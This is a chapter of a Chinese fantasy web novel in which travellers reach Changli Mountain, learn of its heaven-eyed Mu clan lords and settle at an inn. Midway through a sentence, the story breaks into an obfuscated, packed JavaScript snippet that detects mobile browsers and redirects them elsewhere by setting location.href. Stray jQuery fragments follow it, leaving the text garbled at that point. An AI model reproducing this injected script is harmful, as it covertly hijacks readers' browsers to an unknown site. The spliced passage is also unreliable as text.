萧乐之看着船夫年岁最多不过四十的外貌,十分惊悚的往后一倒。
“砰”的一声,一张糙汉脸孔变成了一个大白鹅的头,一双红豆眼眨巴眨,却又口吐人言:“客官莫慌,我们法力低微,混在人群中讨口饭吃罢了,普通船夫可不会接去长离山的客,出了名的妖怪多。”
谢回玉看着迷雾散去,两岸树林茂密,不发一言。
云昭安抚的握着梅灵霜的手,又象征性拍了拍萧乐之背,说:“只是低阶的草食妖精。”
他身上都是些纯净的青草味,这也是为什么云昭和谢回玉看出来是妖但仍然上船的缘故,一方面是这类妖精大多与人为善,另一方面是,即使他们包藏祸心,但法力低微,他们二人也能够解决。
当然,主要是谢回玉去解决。云昭继续安心的两手垫在脑后躺了下去,望着湛蓝蓝的天,随手从船舷外摘一根绿叶。
结果这一摘,没摘动,仿佛有什么东西在与她较劲。
云昭坐起来,看见了和她较劲的东西。
它眨着水汪汪大眼睛,鼻头濡湿翕动,十分亲切的嗅了嗅云昭的手,脑袋上的两个长角挂着一条条的水草,往下滴水,在水面泛起波澜。
是一头鹿。
云昭松开了手,紧接着,第二头,第三头鹿从水里冒出了头。
一个个好奇的眨着眼,扑棱着耳朵。
两岸林间传来窸窸窣窣的声响,有东西在快速移动,云昭还未看清,一道清凌凌的声音说道:“是松鼠。”
下一刻,云昭怀中一沉,一只黄棕色的松鼠从树藤上跳进了云昭身上。
云昭摸了摸它的大尾巴,松鼠在她怀里扑腾了几下,扭捏地掏出一个松果递给她。又顺着云昭的手爬上了她的肩,跃上船舷,回头羞涩地看了一眼云昭,又纵身隐入林间。
云昭:?她为什么能在一个松鼠的脸上看见羞涩。
霸霸原本有些微醉了,又看见云昭在外面“沾花惹草”,气得要去啄云昭,被梅灵霜拦住了,霸霸决定暂时不理云昭了,它要冷一冷她,让她明白自己的错误!
霸霸一闷头飞进了梅灵霜的衣襟,然而在场的无人在意这个闹别扭的小鸟。
白鹅船夫伸长了脖子仰天笑了笑:“客官,他在和你求爱呢,你如果不接受,最好把人家的聘礼还回去,他是个开了灵智的小妖。”
云昭大惊,顿觉那松果十分烫手,可一时又找不到那松鼠藏哪去了。
谢回玉难得热心肠的说:“我来。”
云昭十分感激地把东西递给他:“多谢。”
他看着掌中之物,淡色的唇抿了抿,抬手将那松果往林子中某处砸了过去。
劲力十足,破空有声,不知道的还以为扔了个石头。
“吱!”原本羞涩埋头的松鼠被砸个正着,一阵噼里啪啦从层层叠叠的树枝树叶间跌下来,躺在枯叶堆上晕头转向。
船上三人鼓起了掌。
云昭赞叹:“眼神真好!”
萧乐之伸出大拇指:“回玉哥手劲真大啊!”
梅灵霜也十分捧场:“哇,那松鼠不会被砸死吧?”
船夫说:“不会,都修炼了几百年了,大小也算个妖,只是在山中都变回了本相。”
云昭:“怎的如此亲人,寻常的弱小妖怪,应该会躲避有修士的队伍才对?”
船夫:“他们习惯了,况且,山君会保护我们。”
众人:“山君?”
云昭:“大妖吗?”
船夫:“不,山君是凡人,山君一族姓慕。在长离山,人妖杂居,和平共处。”
和平共处?这倒是少见。
天地初始,人与妖就是相互排斥的关系。
妖是万物生灵开启灵智修炼而成,与人同为活物,却又低人一等。妖想俢成人,人想俢成仙。这两方碰上,若是妖更强,就会吸人精气,若是人更强,就会杀妖取丹。
一颗大妖的妖丹,从来都是修仙世家必争的法宝,无论是炼丹入药还是镶嵌在法器上,都会使修士的修为有巨大飞跃。
云昭:“长离山一直如此吗?”
船夫:“只这几百年是这样,从前的长离山没有这么多妖,未开智的动物们被人们奴役驱策,成了精的待遇也好不到哪去。”
萧乐之打了个嗝,有些口齿不清地说:“妖再弱也不至于被凡人欺压吧?”
他脸蛋红彤彤的,但眼睛还是很亮,梅灵霜把他的酒碗给撤走了。
“还是因为山君,山君掌控力量,他如何看待妖,妖就过着怎样的生活,所以我们很感激,现任的慕山君是如此宽厚,大家都过得很幸福。”
云昭:“山君是什么人物?既是凡人,何以有这么大的影响力?”
一阵风来,水随风动,鹅头船夫干脆就收杆坐了下来,任船顺流前行。他化作人脸,给自己倒了一碗荔枝酒,一饮而尽。
船夫缓缓道:“山君啊,说是完全的凡人,也不算,他们是,开了天眼的凡人,守护长离山几千年的安宁。”
众人:“天眼?”
“长离山信奉司花神女,她能祝福万物生灵,赐福生生不息。而山君,就是能通过天眼与司花神女沟通的人。”
与神沟通?云昭撇了一眼船尾的谢回玉,这不是他们宗门的活吗?
果然,涉及家族业务范畴,谢回玉过来坐下加入了聊天:“不可能有可以与神沟通的凡人。”
这是违背天道秩序的,即使是在水行天,他们只能在凌霄池等待神的旨意。
船夫道:“当然也不是时时都能沟通,是在大傩仪式上,山君会带上面具,通过歌舞乞求神明的祝福,如果神明回应的话,山君就会摘下面具,大家会亲眼看着他的眼珠慢慢变白,天眼渐开。”
听到“眼珠变白”,谢回玉眼波微动。
云昭疑惑:“慕家祖先为何能开天眼?”
这是个长离山代代相传的故事,船夫喝了口酒润润喉,道:“慕氏祖先生于三元之日子时,由此便能游走于阴阳之间,沟通天人地三界,当时一场怪病蔓延长离山,死了很多人和动物,慕氏便举傩仪,为长离山的生灵乞求疾病和死亡远离他们。”
“仪式上,司花神女真的降临了,为慕氏赐下天眼,不久之后,人们的病痛都消失了,土地肥沃,长出了庄稼,于是山民便推举慕氏作为山君,每十年举一次傩仪,由慕氏领舞,继续
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17264834|197530||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
聆听神意......”
天色渐暗,月光爬上了山头,船篙一撑,便搅碎了月影,融进了水色中。一道小路近在眼前,船也靠了岸。
船夫将船篙一收,笑呵呵的一扬手:“长离山到了,天色已晚,几位客官可在山脚寻个客栈先歇下。三天后有大傩仪式,届时各位也可观礼......”
四人循着山路上行,四周植被茂密,空气中潮气裹挟着香气,清凉舒适,时不时传来几声蛙鸣蝉叫。
云昭望着路旁各色各样的花树,十分诧异:“梅花,桃花,梨花,杏花......这些个花能一个季节开吗?那个树上好像还结了果!”
萧乐之脸还是红彤彤的,迷糊道:“不是说是司花神女祝福的山吗?花花草草肯定长得好些。”
云昭十分无语的说:“你还说我酒量差,你看看你自己吧。”
萧乐之:“没事儿,没醉!我能走,就是有点困。”
梅灵霜道:“天色晚了,我们找个客栈休息吧。”
云昭点点头,拂开路旁挡脸的枝叶,眼见前方的一片平地上,立着一间客栈,檐下挂着盏灯笼,晕开一团暖黄的光。
店小二:“几位客官,打尖还是住店?”
云昭十分熟练地分配好了房间:“我们四个人,住店,我们两个女孩一间,他们俩一人一间。”
出门在外,能省则省,虽然一应花销都由“有钱公子”谢回玉全包了,但毕竟是人家的钱。
当然更多的是她想和小霜一起睡啦。
但晚上,云昭仍然是久久不能入眠,其实从在栖霞镇的时候就这样了,所以当时总是不睡觉去赏月,后来小霜和她一起睡,她虽乖乖躺在床上,但也只是在装睡罢了。
在夜晚一闭上眼睛,她仿佛又回到了极寒山。无尽的黑夜,永不停歇的大雪,在她的梦里,就连月亮也不曾升起。
天地之间,只她一个活物。
云昭悄悄坐起身来,看着床里熟睡的梅灵霜,将她的被子掖了掖,路过桌子上蜷缩在几个枕头搭成的小窝中的霸霸,也下意识放轻了手脚。
他们今日喝了酒,都睡得沉了些。
云昭披上外衫溜出了客栈,沿着上山的路一边找,一边寻。
半晌,她眼睛一亮。
融融月色下,树枝头吊着的一颗饱满的桃子显得愈发诱人。
云昭轻车熟路地爬上去,爬到最高处的树杈上,一屁股坐了下去。
她伸手将那桃子摘下,迫不及待地咬了一口,汁水四溅。
“甜!”云昭赞美一声,腿儿晃荡,吃着桃子,赏着月亮,好不惬意。
身后传来一阵脚步,她欲回头看是哪个不速之客,却听见身旁近在咫尺之处传来一阵呼吸声,不似人类。
“!”
云昭偏头一看,却对上一双极大极黑的眼睛,欲起身却不知为何树枝一个晃荡。
她摔了下来,不待她先调整好落地姿势,一个人先将她抱了个满怀。
陌生的怀抱,带着清凉的馨香,十分宽广有力。她从那么高的地方掉下来,他接住她的时候却极稳,手臂一下没抖。
她想:“不愧是用弓的。”